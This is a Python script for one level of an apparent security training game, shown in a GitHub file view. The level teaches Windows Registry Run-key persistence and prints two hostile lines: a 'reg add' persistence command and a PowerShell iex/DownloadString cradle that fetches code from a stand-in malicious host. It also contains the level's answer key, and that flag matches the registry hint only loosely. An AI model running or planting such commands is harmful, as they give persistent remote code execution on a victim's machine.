-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlevel7.py
More file actions
58 lines (52 loc) ยท 2.21 KB
/
level7.py
File metadata and controls
58 lines (52 loc) ยท 2.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
import time
def clear():
os.system('cls' if os.name == 'nt' else 'clear')
def next_step_menu():
print("\n๐ฎ What would you like to do next?")
print("1. Continue to next level")
print("2. Restart this level")
print("3. Exit game")
choice = input("> ").strip()
return choice
def level7(save):
clear()
print("๐งช Level 7: Registry Persistence\n")
print("A malware sample modifies the Windows Registry to gain persistence.\n")
print("--- Registry Command ---")
print("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v OneDriveUpdate /t REG_SZ /d \"powershell -exec bypass -File C:\\Users\\Public\\update.ps1\" /f")
print("--- End Command ---\n")
print("๐ Contents of update.ps1:\n")
print("iex (New-Object Net.WebClient).DownloadString('http://malicious-site.biz/payload.ps1')\n")
print("๐ ๏ธ Your task:")
print("Identify the persistence technique used and submit the correct flag.")
print("The flag format is: FLAG{TECHNIQUE_NAME_IN_ALL_CAPS_WITH_UNDERSCORES}")
print("Example: FLAG{TASK_SCHEDULER_PERSISTENCE}")
print("\n๐ก Hint: This malware is abusing a common registry key used to launch scripts on user login.\n")
while True:
cmd = input("> ").strip().lower()
if cmd == "submit flag{powershell_web_delivery}":
print("\nโ
Correct! Flag accepted.")
save["level"] = 8
save["flags"].append("FLAG{POWERSHELL_WEB_DELIVERY}")
time.sleep(1.5)
clear()
print("๐ Level 7 Complete!\n")
while True:
choice = next_step_menu()
if choice == "1":
return save
elif choice == "2":
return level7(save)
elif choice == "3":
print("๐ Exiting game...")
exit()
else:
print("โ Invalid choice. Please select 1, 2, or 3.")
elif cmd == "restart":
return level7(save)
elif cmd == "exit":
print("๐ Exiting game...")
exit()
else:
print("โ Incorrect flag. Try again or type 'exit' or 'restart'.")